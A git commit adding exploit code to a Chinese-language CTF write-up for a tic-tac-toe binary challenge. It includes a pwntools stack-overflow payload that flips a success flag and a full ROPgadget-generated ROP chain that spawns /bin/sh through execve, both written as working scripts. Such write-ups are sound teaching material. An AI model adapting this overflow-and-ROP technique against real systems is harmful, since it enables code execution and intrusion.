tictactoe exp
This commit is contained in:
+123
-1
@@ -2,7 +2,7 @@
|
||||
|
||||
很明显这道题题面是根据 2020 年浙江的满分高考作文《生活在树上》魔改而来的,没有任何逻辑性可言的版本。打开题目后,就会发现它其实是一个井字棋,并且在算法(Minimax)实现正确的情况下,后手的人类是赢不了先手的电脑的。
|
||||
|
||||
既然是信息安全大赛,那肯定要用信息安全的思路去解题。如果用 CTF 的方式去分类的话,这应该算是一道典型的简单 pwn 题了。
|
||||
既然是信息安全大赛,那肯定要用信息安全的思路去解题。如果用 CTF 的方式去分类的话,这应该算是一道典型的简单 pwn(二进制漏洞利用)题了。
|
||||
|
||||
## 始终热爱大地
|
||||
|
||||
@@ -34,6 +34,22 @@ char input[128] = {}; // input is large and it will be ok.
|
||||
|
||||
可以看到,变量 `input` 距离栈帧基址 (BP) 有 0x90 bytes,变量 `success` 距离栈帧基址有 0x1 bytes,所以输入 143 个字符之后,输入值为 0x1 的字符(注意,不是 `'1'`),将 `success` 覆盖为 `true` (1) 即可。
|
||||
|
||||
怎么发送自己的 payload 呢?方法有很多,对于 pwn 类型的题目来说,最常用的工具是 pwntools。
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
context.log_level = "debug"
|
||||
io = process("./tictactoe")
|
||||
|
||||
payload = "(2,2)" + (143 - 5) * 'a' + "\x01"
|
||||
io.recvuntil("): ")
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
如果需要发送 payload 到服务器,需要把 `io` 修改到 `io = remote(ip, port)` 的格式,并且加上处理 token 的代码。
|
||||
|
||||
|
||||
## 升上天空
|
||||
|
||||
@@ -56,3 +72,109 @@ tictactoe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically
|
||||
所以考虑使用 ROP 来获取服务器的 shell。由于这个程序是静态链接的,被链接的 C 库中就包含了很多可以被利用的 gadgets,所以考虑使用 ROPgadget 来自动生成 payload。
|
||||
|
||||
ROPgadget 生成的 payload 前面需要加上 padding,使得 payload 能够正好从函数返回地址开始覆盖。从上图我们可以看到,为了从 r(返回地址)开始,我们的 padding 长度应该是 0x8 - (-0x90) = 152。(s 代表是保存的寄存器等调用者函数的现场)
|
||||
|
||||
### exp
|
||||
|
||||
```shell
|
||||
$ ROPgadget --binary tictactoe --ropchain
|
||||
(中间的输出省略)
|
||||
#!/usr/bin/env python2
|
||||
# execve generated by ROPgadget
|
||||
|
||||
from struct import pack
|
||||
|
||||
# Padding goes here
|
||||
p = ''
|
||||
|
||||
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e0) # @ .data
|
||||
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
|
||||
p += '/bin//sh'
|
||||
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
|
||||
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
|
||||
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
|
||||
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
|
||||
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e0) # @ .data
|
||||
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
|
||||
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
|
||||
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
|
||||
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000402bf4) # syscall
|
||||
```
|
||||
|
||||
```python
|
||||
from struct import pack
|
||||
from pwn import context, process
|
||||
|
||||
context.log_level = "debug"
|
||||
io = process("./tictactoe")
|
||||
|
||||
payload = b"(2,2)" + (143 - 5) * b'a' + b"\x01" + (152 - 144) * b'a'
|
||||
# 省略重复的 payload 部分。
|
||||
# 注意在 Python 3 中 struct.pack 返回的是 bytes 类型,所以为了拼接,payload 也需要是 bytes 类型。
|
||||
io.recvuntil("): ")
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
from pwn import *
|
||||
|
||||
context.log_level = "debug"
|
||||
io = process("./tictactoe")
|
||||
|
||||
payload = "(2,2)" + (143 - 5) * 'a' + "\x01"
|
||||
io.recvuntil("): ")
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
@@ -0,0 +1,88 @@
|
||||
from struct import pack
|
||||
from pwn import context, process
|
||||
|
||||
context.log_level = "debug"
|
||||
io = process("./tictactoe")
|
||||
|
||||
p = b"(2,2)" + (143 - 5) * b'a' + b"\x01" + (152 - 144) * b'a'
|
||||
|
||||
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e0) # @ .data
|
||||
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
|
||||
p += b'/bin//sh'
|
||||
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
|
||||
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
|
||||
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
|
||||
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
|
||||
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e0) # @ .data
|
||||
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
|
||||
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
|
||||
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
|
||||
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
|
||||
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
|
||||
p += pack('<Q', 0x0000000000402bf4) # syscall
|
||||
|
||||
io.recvuntil("): ")
|
||||
io.sendline(p)
|
||||
io.interactive()
|
||||
Reference in New Issue
Block a user